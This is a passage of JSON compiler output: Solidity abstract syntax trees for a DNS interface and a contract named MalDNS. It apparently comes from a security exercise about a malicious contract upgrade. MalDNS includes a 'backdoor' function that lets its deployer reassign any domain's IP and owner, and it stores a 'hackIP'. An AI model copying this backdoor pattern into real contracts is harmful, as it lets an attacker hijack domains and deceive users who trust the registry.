pure\",\"value\":\"require\"},\"id\":1411,\"name\":\"Identifier\",\"src\":\"560:7:3\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1398,\"type\":\"bool\",\"value\":\"success\"},\"id\":1412,\"name\":\"Identifier\",\"src\":\"568:7:3\"}],\"id\":1413,\"name\":\"FunctionCall\",\"src\":\"560:16:3\"}],\"id\":1414,\"name\":\"ExpressionStatement\",\"src\":\"560:16:3\"}],\"id\":1415,\"name\":\"Block\",\"src\":\"466:114:3\"}],\"id\":1416,\"name\":\"FunctionDefinition\",\"src\":\"437:143:3\"}],\"id\":1417,\"name\":\"ContractDefinition\",\"src\":\"194:388:3\"}],\"id\":1418,\"name\":\"SourceUnit\",\"src\":\"36:547:3\"}},\"src/IDNS.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/IDNS.sol\",\"exportedSymbols\":{\"IDNS\":[1462]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":1419,\"name\":\"PragmaDirective\",\"src\":\"36:23:4\"},{\"attributes\":{\"abstract\":false,\"baseContracts\":[null],\"contractDependencies\":[null],\"contractKind\":\"interface\",\"fullyImplemented\":false,\"linearizedBaseContracts\":[1462],\"name\":\"IDNS\",\"scope\":1463},\"children\":[{\"attributes\":{\"text\":\"@title A simple DNS interface.\"},\"id\":1420,\"name\":\"StructuredDocumentation\",\"src\":\"61:35:4\"},{\"attributes\":{\"canonicalName\":\"IDNS.Entry\",\"name\":\"Entry\",\"scope\":1462,\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"ip\",\"scope\":1425,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1421,\"name\":\"ElementaryTypeName\",\"src\":\"162:6:4\"}],\"id\":1422,\"name\":\"VariableDeclaration\",\"src\":\"162:9:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":1425,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1423,\"name\":\"ElementaryTypeName\",\"src\":\"175:7:4\"}],\"id\":1424,\"name\":\"VariableDeclaration\",\"src\":\"175:13:4\"}],\"id\":1425,\"name\":\"StructDefinition\",\"src\":\"145:47:4\"},{\"attributes\":{\"functionSelector\":\"89404978\",\"implemented\":false,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"register\",\"scope\":1462,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Registers a new domain. Domain must be currently unused.\\n @param _domain New domain to be registered.\\n @param _ip Ip the domain should point to.\\n @param _owner Owner of the newly registered domain.\"},\"id\":1426,\"name\":\"StructuredDocumentation\",\"src\":\"194:221:4\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1435,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1427,\"name\":\"ElementaryTypeName\",\"src\":\"435:6:4\"}],\"id\":1428,\"name\":\"VariableDeclaration\",\"src\":\"435:21:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1435,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1429,\"name\":\"ElementaryTypeName\",\"src\":\"458:6:4\"}],\"id\":1430,\"name\":\"VariableDeclaration\",\"src\":\"458:10:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":1435,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1431,\"name\":\"ElementaryTypeName\",\"src\":\"470:7:4\"}],\"id\":1432,\"name\":\"VariableDeclaration\",\"src\":\"470:14:4\"}],\"id\":1433,\"name\":\"ParameterList\",\"src\":\"434:51:4\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1434,\"name\":\"ParameterList\",\"src\":\"494:0:4\"}],\"id\":1435,\"name\":\"FunctionDefinition\",\"src\":\"417:78:4\"},{\"attributes\":{\"functionSelector\":\"f7a46696\",\"implemented\":false,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"update\",\"scope\":1462,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Updates the ip that a domain points to. `tx.origin` must be the current owner of that domain.\\n @param _domain Domain to be updated.\\n @param _ip New ip that the domain should point to.\"},\"id\":1436,\"name\":\"StructuredDocumentation\",\"src\":\"498:203:4\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1443,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1437,\"name\":\"ElementaryTypeName\",\"src\":\"719:6:4\"}],\"id\":1438,\"name\":\"VariableDeclaration\",\"src\":\"719:21:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1443,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1439,\"name\":\"ElementaryTypeName\",\"src\":\"742:6:4\"}],\"id\":1440,\"name\":\"VariableDeclaration\",\"src\":\"742:10:4\"}],\"id\":1441,\"name\":\"ParameterList\",\"src\":\"718:35:4\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1442,\"name\":\"ParameterList\",\"src\":\"762:0:4\"}],\"id\":1443,\"name\":\"FunctionDefinition\",\"src\":\"703:60:4\"},{\"attributes\":{\"functionSelector\":\"fbf58b3e\",\"implemented\":false,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"transfer\",\"scope\":1462,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@notice Transfers ownership of the given domain. `tx.origin` must be the current owner of that domain.\\n @param _domain Domain to be transferred.\\n @param _owner New owner.\"},\"id\":1444,\"name\":\"StructuredDocumentation\",\"src\":\"766:182:4\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1451,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1445,\"name\":\"ElementaryTypeName\",\"src\":\"968:6:4\"}],\"id\":1446,\"name\":\"VariableDeclaration\",\"src\":\"968:21:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":1451,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1447,\"name\":\"ElementaryTypeName\",\"src\":\"991:7:4\"}],\"id\":1448,\"name\":\"VariableDeclaration\",\"src\":\"991:14:4\"}],\"id\":1449,\"name\":\"ParameterList\",\"src\":\"967:39:4\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1450,\"name\":\"ParameterList\",\"src\":\"1015:0:4\"}],\"id\":1451,\"name\":\"FunctionDefinition\",\"src\":\"950:66:4\"},{\"attributes\":{\"functionSelector\":\"461a4478\",\"implemented\":false,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"resolve\",\"scope\":1462,\"stateMutability\":\"view\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"text\":\"@return The IP that _domain points to and the owner.\"},\"id\":1452,\"name\":\"StructuredDocumentation\",\"src\":\"1019:56:4\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1461,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1453,\"name\":\"ElementaryTypeName\",\"src\":\"1094:6:4\"}],\"id\":1454,\"name\":\"VariableDeclaration\",\"src\":\"1094:21:4\"}],\"id\":1455,\"name\":\"ParameterList\",\"src\":\"1093:23:4\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"\",\"scope\":1461,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1456,\"name\":\"ElementaryTypeName\",\"src\":\"1140:6:4\"}],\"id\":1457,\"name\":\"VariableDeclaration\",\"src\":\"1140:6:4\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":1461,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1458,\"name\":\"ElementaryTypeName\",\"src\":\"1148:7:4\"}],\"id\":1459,\"name\":\"VariableDeclaration\",\"src\":\"1148:13:4\"}],\"id\":1460,\"name\":\"ParameterList\",\"src\":\"1139:23:4\"}],\"id\":1461,\"name\":\"FunctionDefinition\",\"src\":\"1077:86:4\"}],\"id\":1462,\"name\":\"ContractDefinition\",\"src\":\"96:1069:4\"}],\"id\":1463,\"name\":\"SourceUnit\",\"src\":\"36:1130:4\"}},\"src/MalDNS.sol\":{\"AST\":{\"attributes\":{\"absolutePath\":\"src/MalDNS.sol\",\"exportedSymbols\":{\"IDNS\":[1462],\"MalDNS\":[1723],\"Upgrade\":[2050]},\"license\":\"GPL-v3\"},\"children\":[{\"attributes\":{\"literals\":[\"solidity\",\"^\",\"0.7\",\".0\"]},\"id\":1464,\"name\":\"PragmaDirective\",\"src\":\"36:23:5\"},{\"attributes\":{\"literals\":[\"experimental\",\"ABIEncoderV2\"]},\"id\":1465,\"name\":\"PragmaDirective\",\"src\":\"60:33:5\"},{\"attributes\":{\"SourceUnit\":1463,\"absolutePath\":\"src/IDNS.sol\",\"file\":\"./IDNS.sol\",\"scope\":1724,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":1466,\"name\":\"ImportDirective\",\"src\":\"95:20:5\"},{\"attributes\":{\"SourceUnit\":2051,\"absolutePath\":\"src/Upgrade.sol\",\"file\":\"./Upgrade.sol\",\"scope\":1724,\"symbolAliases\":[null],\"unitAlias\":\"\"},\"id\":1467,\"name\":\"ImportDirective\",\"src\":\"116:23:5\"},{\"attributes\":{\"abstract\":false,\"contractDependencies\":[1462],\"contractKind\":\"contract\",\"fullyImplemented\":true,\"linearizedBaseContracts\":[1723,1462],\"name\":\"MalDNS\",\"scope\":1724},\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1468,\"name\":\"UserDefinedTypeName\",\"src\":\"160:4:5\"}],\"id\":1469,\"name\":\"InheritanceSpecifier\",\"src\":\"160:4:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"data\",\"scope\":1723,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"mapping(string => struct IDNS.Entry)\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"type\":\"mapping(string => struct IDNS.Entry)\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1470,\"name\":\"ElementaryTypeName\",\"src\":\"177:6:5\"},{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":1471,\"name\":\"UserDefinedTypeName\",\"src\":\"187:5:5\"}],\"id\":1472,\"name\":\"Mapping\",\"src\":\"168:25:5\"}],\"id\":1473,\"name\":\"VariableDeclaration\",\"src\":\"168:30:5\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"9735009b\",\"mutability\":\"immutable\",\"name\":\"originalDNS\",\"scope\":1723,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1474,\"name\":\"UserDefinedTypeName\",\"src\":\"202:4:5\"}],\"id\":1475,\"name\":\"VariableDeclaration\",\"src\":\"202:33:5\"},{\"attributes\":{\"constant\":false,\"functionSelector\":\"0528b345\",\"mutability\":\"immutable\",\"name\":\"upgradeInfo\",\"scope\":1723,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"public\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":1476,\"name\":\"UserDefinedTypeName\",\"src\":\"238:7:5\"}],\"id\":1477,\"name\":\"VariableDeclaration\",\"src\":\"238:36:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"immutable\",\"name\":\"owner\",\"scope\":1723,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1478,\"name\":\"ElementaryTypeName\",\"src\":\"278:7:5\"}],\"id\":1479,\"name\":\"VariableDeclaration\",\"src\":\"278:23:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"hackIP\",\"scope\":1723,\"stateVariable\":true,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1480,\"name\":\"ElementaryTypeName\",\"src\":\"304:6:5\"}],\"id\":1481,\"name\":\"VariableDeclaration\",\"src\":\"304:13:5\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":true,\"kind\":\"constructor\",\"modifiers\":[null],\"name\":\"\",\"scope\":1723,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"public\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1512,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1482,\"name\":\"ElementaryTypeName\",\"src\":\"333:6:5\"}],\"id\":1483,\"name\":\"VariableDeclaration\",\"src\":\"333:10:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_dns\",\"scope\":1512,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract IDNS\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"IDNS\",\"referencedDeclaration\":1462,\"type\":\"contract IDNS\"},\"id\":1484,\"name\":\"UserDefinedTypeName\",\"src\":\"345:4:5\"}],\"id\":1485,\"name\":\"VariableDeclaration\",\"src\":\"345:9:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_info\",\"scope\":1512,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"contract Upgrade\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Upgrade\",\"referencedDeclaration\":2050,\"type\":\"contract Upgrade\"},\"id\":1486,\"name\":\"UserDefinedTypeName\",\"src\":\"356:7:5\"}],\"id\":1487,\"name\":\"VariableDeclaration\",\"src\":\"356:13:5\"}],\"id\":1488,\"name\":\"ParameterList\",\"src\":\"332:38:5\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1489,\"name\":\"ParameterList\",\"src\":\"371:0:5\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1481,\"type\":\"bytes4\",\"value\":\"hackIP\"},\"id\":1490,\"name\":\"Identifier\",\"src\":\"375:6:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1483,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1491,\"name\":\"Identifier\",\"src\":\"384:3:5\"}],\"id\":1492,\"name\":\"Assignment\",\"src\":\"375:12:5\"}],\"id\":1493,\"name\":\"ExpressionStatement\",\"src\":\"375:12:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract IDNS\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1475,\"type\":\"contract IDNS\",\"value\":\"originalDNS\"},\"id\":1494,\"name\":\"Identifier\",\"src\":\"391:11:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":1495,\"name\":\"Identifier\",\"src\":\"405:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1485,\"type\":\"contract IDNS\",\"value\":\"_dns\"},\"id\":1496,\"name\":\"Identifier\",\"src\":\"410:4:5\"}],\"id\":1497,\"name\":\"FunctionCall\",\"src\":\"405:10:5\"}],\"id\":1498,\"name\":\"Assignment\",\"src\":\"391:24:5\"}],\"id\":1499,\"name\":\"ExpressionStatement\",\"src\":\"391:24:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"contract Upgrade\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1477,\"type\":\"contract Upgrade\",\"value\":\"upgradeInfo\"},\"id\":1500,\"name\":\"Identifier\",\"src\":\"419:11:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract Upgrade\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_Upgrade_$2050\",\"typeString\":\"contract Upgrade\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2050,\"type\":\"type(contract Upgrade)\",\"value\":\"Upgrade\"},\"id\":1501,\"name\":\"Identifier\",\"src\":\"433:7:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1487,\"type\":\"contract Upgrade\",\"value\":\"_info\"},\"id\":1502,\"name\":\"Identifier\",\"src\":\"441:5:5\"}],\"id\":1503,\"name\":\"FunctionCall\",\"src\":\"433:14:5\"}],\"id\":1504,\"name\":\"Assignment\",\"src\":\"419:28:5\"}],\"id\":1505,\"name\":\"ExpressionStatement\",\"src\":\"419:28:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1479,\"type\":\"address\",\"value\":\"owner\"},\"id\":1506,\"name\":\"Identifier\",\"src\":\"451:5:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1507,\"name\":\"Identifier\",\"src\":\"459:3:5\"}],\"id\":1508,\"name\":\"MemberAccess\",\"src\":\"459:10:5\"}],\"id\":1509,\"name\":\"Assignment\",\"src\":\"451:18:5\"}],\"id\":1510,\"name\":\"ExpressionStatement\",\"src\":\"451:18:5\"}],\"id\":1511,\"name\":\"Block\",\"src\":\"371:102:5\"}],\"id\":1512,\"name\":\"FunctionDefinition\",\"src\":\"321:152:5\"},{\"attributes\":{\"functionSelector\":\"d554b2f6\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"backdoor\",\"scope\":1723,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1547,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1513,\"name\":\"ElementaryTypeName\",\"src\":\"494:6:5\"}],\"id\":1514,\"name\":\"VariableDeclaration\",\"src\":\"494:21:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1547,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1515,\"name\":\"ElementaryTypeName\",\"src\":\"517:6:5\"}],\"id\":1516,\"name\":\"VariableDeclaration\",\"src\":\"517:10:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_owner\",\"scope\":1547,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":1517,\"name\":\"ElementaryTypeName\",\"src\":\"529:7:5\"}],\"id\":1518,\"name\":\"VariableDeclaration\",\"src\":\"529:14:5\"}],\"id\":1519,\"name\":\"ParameterList\",\"src\":\"493:51:5\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":1520,\"name\":\"ParameterList\",\"src\":\"554:0:5\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[-18,-18],\"referencedDeclaration\":-18,\"type\":\"function (bool) pure\",\"value\":\"require\"},\"id\":1521,\"name\":\"Identifier\",\"src\":\"558:7:5\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"==\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"sender\",\"type\":\"address payable\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-15,\"type\":\"msg\",\"value\":\"msg\"},\"id\":1522,\"name\":\"Identifier\",\"src\":\"566:3:5\"}],\"id\":1523,\"name\":\"MemberAccess\",\"src\":\"566:10:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1479,\"type\":\"address\",\"value\":\"owner\"},\"id\":1524,\"name\":\"Identifier\",\"src\":\"580:5:5\"}],\"id\":1525,\"name\":\"BinaryOperation\",\"src\":\"566:19:5\"}],\"id\":1526,\"name\":\"FunctionCall\",\"src\":\"558:28:5\"}],\"id\":1527,\"name\":\"ExpressionStatement\",\"src\":\"558:28:5\"},{\"attributes\":{\"assignments\":[1529]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"entry\",\"scope\":1546,\"stateVariable\":false,\"storageLocation\":\"storage\",\"type\":\"struct IDNS.Entry\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"Entry\",\"referencedDeclaration\":1425,\"type\":\"struct IDNS.Entry\"},\"id\":1528,\"name\":\"UserDefinedTypeName\",\"src\":\"590:5:5\"}],\"id\":1529,\"name\":\"VariableDeclaration\",\"src\":\"590:19:5\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"struct IDNS.Entry storage ref\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1473,\"type\":\"mapping(string memory => struct IDNS.Entry storage ref)\",\"value\":\"data\"},\"id\":1530,\"name\":\"Identifier\",\"src\":\"612:4:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1514,\"type\":\"string memory\",\"value\":\"_domain\"},\"id\":1531,\"name\":\"Identifier\",\"src\":\"617:7:5\"}],\"id\":1532,\"name\":\"IndexAccess\",\"src\":\"612:13:5\"}],\"id\":1533,\"name\":\"VariableDeclarationStatement\",\"src\":\"590:35:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"ip\",\"referencedDeclaration\":1422,\"type\":\"bytes4\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1529,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1534,\"name\":\"Identifier\",\"src\":\"629:5:5\"}],\"id\":1536,\"name\":\"MemberAccess\",\"src\":\"629:8:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1516,\"type\":\"bytes4\",\"value\":\"_ip\"},\"id\":1537,\"name\":\"Identifier\",\"src\":\"640:3:5\"}],\"id\":1538,\"name\":\"Assignment\",\"src\":\"629:14:5\"}],\"id\":1539,\"name\":\"ExpressionStatement\",\"src\":\"629:14:5\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"address\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"member_name\":\"owner\",\"referencedDeclaration\":1424,\"type\":\"address\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1529,\"type\":\"struct IDNS.Entry storage pointer\",\"value\":\"entry\"},\"id\":1540,\"name\":\"Identifier\",\"src\":\"647:5:5\"}],\"id\":1542,\"name\":\"MemberAccess\",\"src\":\"647:11:5\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":1518,\"type\":\"address\",\"value\":\"_owner\"},\"id\":1543,\"name\":\"Identifier\",\"src\":\"661:6:5\"}],\"id\":1544,\"name\":\"Assignment\",\"src\":\"647:20:5\"}],\"id\":1545,\"name\":\"ExpressionStatement\",\"src\":\"647:20:5\"}],\"id\":1546,\"name\":\"Block\",\"src\":\"554:117:5\"}],\"id\":1547,\"name\":\"FunctionDefinition\",\"src\":\"476:195:5\"},{\"attributes\":{\"baseFunctions\":[1435],\"functionSelector\":\"89404978\",\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"register\",\"scope\":1723,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"external\"},\"children\":[{\"attributes\":{\"overrides\":[null]},\"id\":1555,\"name\":\"OverrideSpecifier\",\"src\":\"752:8:5\"},{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_domain\",\"scope\":1610,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":1548,\"name\":\"ElementaryTypeName\",\"src\":\"692:6:5\"}],\"id\":1549,\"name\":\"VariableDeclaration\",\"src\":\"692:21:5\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"_ip\",\"scope\":1610,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":1550,\"name\":\"ElementaryTypeName\",\"src\":\"715:6:5\"}],\"id\":1551,\"name\":\"VariableDeclaration\",\"src\":\"715:10:5\"},{\"attributes\":{\"